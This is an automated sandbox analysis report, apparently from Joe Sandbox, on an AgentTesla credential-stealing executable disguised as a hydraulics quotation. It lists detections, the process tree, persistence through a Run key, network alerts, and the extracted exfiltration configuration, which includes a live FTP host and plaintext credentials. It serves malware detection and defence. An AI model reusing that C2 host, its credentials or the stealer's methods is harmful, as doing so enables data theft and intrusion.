Edit tour

Windows Analysis Report
inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Overview

General Information

Sample name:	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Analysis ID:	1524117
MD5:	0ad77182f6aeae3adfa6ccc0aa964a5e
SHA1:	fd2836072c56df6f9a9ec2dc7930f2bd1ad3773e
SHA256:	d06eb6963064af04b5249b6e488fbd53cf97dd09a4d18144560488df9f473db7
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe (PID: 7256 cmdline: "C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe" MD5: 0AD77182F6AEAE3ADFA6CCC0AA964A5E)

InstallUtil.exe (PID: 7816 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Egmgti.exe (PID: 7972 cmdline: "C:\Users\user\AppData\Roaming\Egmgti.exe" MD5: 0AD77182F6AEAE3ADFA6CCC0AA964A5E)

InstallUtil.exe (PID: 8048 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Egmgti.exe (PID: 5864 cmdline: "C:\Users\user\AppData\Roaming\Egmgti.exe" MD5: 0AD77182F6AEAE3ADFA6CCC0AA964A5E)

InstallUtil.exe (PID: 2116 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.1537444101.000000000400D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1314285798.0000000006370000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.1422897756.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.2520008251.0000000003277000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7816	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Egmgti.exe PID: 7972	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Egmgti.exe PID: 7972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Egmgti.exe PID: 7972	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Egmgti.exe PID: 7972	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 8048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8048	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Egmgti.exe PID: 5864	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Egmgti.exe PID: 5864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Egmgti.exe PID: 5864	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Egmgti.exe PID: 5864	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 2116	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 2116	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 45 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.Egmgti.exe.400d840.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.6370000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
10.2.Egmgti.exe.419d840.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
9.2.InstallUtil.exe.530000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.InstallUtil.exe.530000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.InstallUtil.exe.530000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.InstallUtil.exe.530000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
10.2.Egmgti.exe.3ee0f08.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.Egmgti.exe.3ee0f08.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.Egmgti.exe.3ee0f08.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.Egmgti.exe.3ee0f08.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
10.2.Egmgti.exe.3ee0f08.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.Egmgti.exe.3ee0f08.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.Egmgti.exe.3ee0f08.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.Egmgti.exe.3ee0f08.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xfea81:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xfeaf3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xfeb7d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xfec0f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xfec79:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xfeceb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xfed81:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xfee11:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0xfbe9c:$s2: GetPrivateProfileString 0xfb5bd:$s3: get_OSFullName 0xfcbae:$s5: remove_Key 0xfcd8c:$s5: remove_Key 0xfdc9a:$s6: FtpWebRequest 0xfea63:$s7: logins 0xfefd5:$s7: logins 0x101cda:$s7: logins 0x101d98:$s7: logins 0x10369e:$s7: logins 0x10293c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x14d2a1:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x14d313:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x14d39d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x14d42f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x14d499:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x14d50b:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x14d5a1:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x14d631:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x14a6bc:$s2: GetPrivateProfileString 0x149ddd:$s3: get_OSFullName 0x14b3ce:$s5: remove_Key 0x14b5ac:$s5: remove_Key 0x14c4ba:$s6: FtpWebRequest 0x14d283:$s7: logins 0x14d7f5:$s7: logins 0x1504fa:$s7: logins 0x1505b8:$s7: logins 0x151ebe:$s7: logins 0x15115c:$s9: 1.85 (Hash, version 2, native byte-order)
10.2.Egmgti.exe.404da00.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 29 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Egmgti.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, ProcessId: 7256, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Egmgti

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T15:45:07.838991+0200	2029927	1	A Network Trojan was detected	192.168.2.10	53088	5.2.84.236	21	TCP
2024-10-02T15:45:20.456752+0200	2029927	1	A Network Trojan was detected	192.168.2.10	53091	5.2.84.236	21	TCP
2024-10-02T15:45:28.494559+0200	2029927	1	A Network Trojan was detected	192.168.2.10	53098	5.2.84.236	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T15:45:08.469736+0200	2855542	1	A Network Trojan was detected	192.168.2.10	53089	5.2.84.236	50668	TCP
2024-10-02T15:45:08.475468+0200	2855542	1	A Network Trojan was detected	192.168.2.10	53089	5.2.84.236	50668	TCP
2024-10-02T15:45:21.777811+0200	2855542	1	A Network Trojan was detected	192.168.2.10	53096	5.2.84.236	53705	TCP
2024-10-02T15:45:21.787615+0200	2855542	1	A Network Trojan was detected	192.168.2.10	53096	5.2.84.236	53705	TCP
2024-10-02T15:45:29.108219+0200	2855542	1	A Network Trojan was detected	192.168.2.10	53099	5.2.84.236	54538	TCP
2024-10-02T15:45:29.113835+0200	2855542	1	A Network Trojan was detected	192.168.2.10	53099	5.2.84.236	54538	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Egmgti.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Egmgti.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Joe Sandbox ML: detected

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.10:53087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.10:53090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.10:53097 version: TLS 1.2

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000033F3000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1315500116.00000000066C0000.00000004.08000000.00040000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003E55000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.000000000334B000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003D98000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003167000.00000004.00000800.00020000.00000000.sdmp, 